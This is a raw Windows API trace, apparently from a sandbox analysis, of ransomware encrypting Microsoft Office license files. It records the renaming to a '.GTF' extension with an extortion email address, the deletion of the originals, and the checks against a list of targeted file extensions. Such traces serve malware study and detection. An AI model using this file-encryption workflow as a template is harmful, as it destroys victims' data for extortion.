	[0168.049] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0168.050] ReadFile (in: hFile=0x508, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.050] WriteFile (in: hFile=0x528, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x104, lpOverlapped=0x0) returned 1
	[0168.051] SetEndOfFile (hFile=0x528) returned 1
	[0168.051] CloseHandle (hObject=0x528) returned 1
	[0168.051] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.051] SetEndOfFile (hFile=0x508) returned 1
	[0168.055] CloseHandle (hObject=0x508) returned 1
	[0168.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1
	[0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.057] lstrlenW (lpString=".doc") returned 4
	[0168.057] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.057] lstrlenW (lpString=".docx") returned 5
	[0168.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.057] lstrlenW (lpString=".pdf") returned 4
	[0168.057] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.057] lstrlenW (lpString=".xls") returned 4
	[0168.057] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.057] lstrlenW (lpString=".xlsx") returned 5
	[0168.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.057] lstrlenW (lpString=".ppt") returned 4
	[0168.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.057] lstrlenW (lpString=".zip") returned 4
	[0168.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.057] lstrlenW (lpString=".rar") returned 4
	[0168.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.057] lstrlenW (lpString=".bz2") returned 4
	[0168.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.057] lstrlenW (lpString=".7z") returned 3
	[0168.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.058] lstrlenW (lpString=".dbf") returned 4
	[0168.058] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.058] lstrlenW (lpString=".1cd") returned 4
	[0168.058] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.058] lstrlenW (lpString=".jpg") returned 4
	[0168.058] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.058] lstrlenW (lpString=".doc") returned 4
	[0168.058] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString=".docx") returned 5
	[0168.058] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.058] lstrlenW (lpString=".pdf") returned 4
	[0168.058] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString=".xls") returned 4
	[0168.058] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString=".xlsx") returned 5
	[0168.058] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.058] lstrlenW (lpString=".ppt") returned 4
	[0168.058] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.058] lstrlenW (lpString=".zip") returned 4
	[0168.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString=".rar") returned 4
	[0168.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString=".bz2") returned 4
	[0168.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.058] lstrlenW (lpString=".7z") returned 3
	[0168.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.059] lstrlenW (lpString=".dbf") returned 4
	[0168.059] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.059] lstrlenW (lpString=".1cd") returned 4
	[0168.059] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0168.059] lstrlenW (lpString=".jpg") returned 4
	[0168.059] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.059] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.059] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27
	[0168.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0168.060] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11594) returned 1
	[0168.060] CloseHandle (hObject=0x508) returned 1
	[0168.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0168.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0168.060] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.060] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0168.061] GetLastError () returned 0x0
	[0168.061] ReadFile (in: hFile=0x508, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d4a, lpOverlapped=0x0) returned 1
	[0168.063] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0168.064] ReadFile (in: hFile=0x508, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.064] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0168.064] SetEndOfFile (hFile=0x378) returned 1
	[0168.064] CloseHandle (hObject=0x378) returned 1
	[0168.064] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.064] SetEndOfFile (hFile=0x508) returned 1
	[0168.067] CloseHandle (hObject=0x508) returned 1
	[0168.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1
	[0168.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.069] lstrlenW (lpString=".doc") returned 4
	[0168.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString=".docx") returned 5
	[0168.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.069] lstrlenW (lpString=".pdf") returned 4
	[0168.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString=".xls") returned 4
	[0168.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString=".xlsx") returned 5
	[0168.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.069] lstrlenW (lpString=".ppt") returned 4
	[0168.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.069] lstrlenW (lpString=".zip") returned 4
	[0168.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString=".rar") returned 4
	[0168.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString=".bz2") returned 4
	[0168.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString=".7z") returned 3
	[0168.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.069] lstrlenW (lpString=".dbf") returned 4
	[0168.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.069] lstrlenW (lpString=".1cd") returned 4
	[0168.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.069] lstrlenW (lpString=".jpg") returned 4
	[0168.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.070] lstrlenW (lpString=".doc") returned 4
	[0168.070] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString=".docx") returned 5
	[0168.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.070] lstrlenW (lpString=".pdf") returned 4
	[0168.070] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString=".xls") returned 4
	[0168.070] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString=".xlsx") returned 5
	[0168.070] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.070] lstrlenW (lpString=".ppt") returned 4
	[0168.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.070] lstrlenW (lpString=".zip") returned 4
	[0168.070] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString=".rar") returned 4
	[0168.070] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString=".bz2") returned 4
	[0168.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString=".7z") returned 3
	[0168.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.070] lstrlenW (lpString=".dbf") returned 4
	[0168.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.070] lstrlenW (lpString=".1cd") returned 4
	[0168.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0168.070] lstrlenW (lpString=".jpg") returned 4
	[0168.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.071] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.071] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26
	[0168.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0168.071] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=10639) returned 1
	[0168.071] CloseHandle (hObject=0x508) returned 1
	[0168.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0168.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0168.072] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.072] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0168.072] GetLastError () returned 0x0
	[0168.072] ReadFile (in: hFile=0x508, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x298f, lpOverlapped=0x0) returned 1
	[0168.075] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0168.076] ReadFile (in: hFile=0x508, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.076] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x108, lpOverlapped=0x0) returned 1
	[0168.076] SetEndOfFile (hFile=0x378) returned 1
	[0168.076] CloseHandle (hObject=0x378) returned 1
	[0168.076] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.076] SetEndOfFile (hFile=0x508) returned 1
	[0168.079] CloseHandle (hObject=0x508) returned 1
	[0168.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1
	[0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.080] lstrlenW (lpString=".doc") returned 4
	[0168.080] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.080] lstrlenW (lpString=".docx") returned 5
	[0168.080] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.080] lstrlenW (lpString=".pdf") returned 4
	[0168.080] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.080] lstrlenW (lpString=".xls") returned 4
	[0168.080] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.080] lstrlenW (lpString=".xlsx") returned 5
	[0168.080] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.080] lstrlenW (lpString=".ppt") returned 4
	[0168.080] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.080] lstrlenW (lpString=".zip") returned 4
	[0168.080] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.080] lstrlenW (lpString=".rar") returned 4
	[0168.080] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.080] lstrlenW (lpString=".bz2") returned 4
	[0168.080] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.080] lstrlenW (lpString=".7z") returned 3
	[0168.080] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.081] lstrlenW (lpString=".dbf") returned 4
	[0168.081] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.081] lstrlenW (lpString=".1cd") returned 4
	[0168.081] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.081] lstrlenW (lpString=".jpg") returned 4
	[0168.081] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.081] lstrlenW (lpString=".doc") returned 4
	[0168.081] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString=".docx") returned 5
	[0168.081] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.081] lstrlenW (lpString=".pdf") returned 4
	[0168.081] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString=".xls") returned 4
	[0168.081] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString=".xlsx") returned 5
	[0168.081] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.081] lstrlenW (lpString=".ppt") returned 4
	[0168.081] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.081] lstrlenW (lpString=".zip") returned 4
	[0168.081] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString=".rar") returned 4
	[0168.081] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString=".bz2") returned 4
	[0168.081] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.081] lstrlenW (lpString=".7z") returned 3
	[0168.081] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.081] lstrlenW (lpString=".dbf") returned 4
	[0168.082] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.082] lstrlenW (lpString=".1cd") returned 4
	[0168.082] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0168.082] lstrlenW (lpString=".jpg") returned 4
	[0168.082] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.082] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.082] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27
	[0168.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.435] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=20780) returned 1
	[0168.435] CloseHandle (hObject=0x560) returned 1
	[0168.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0168.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.435] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
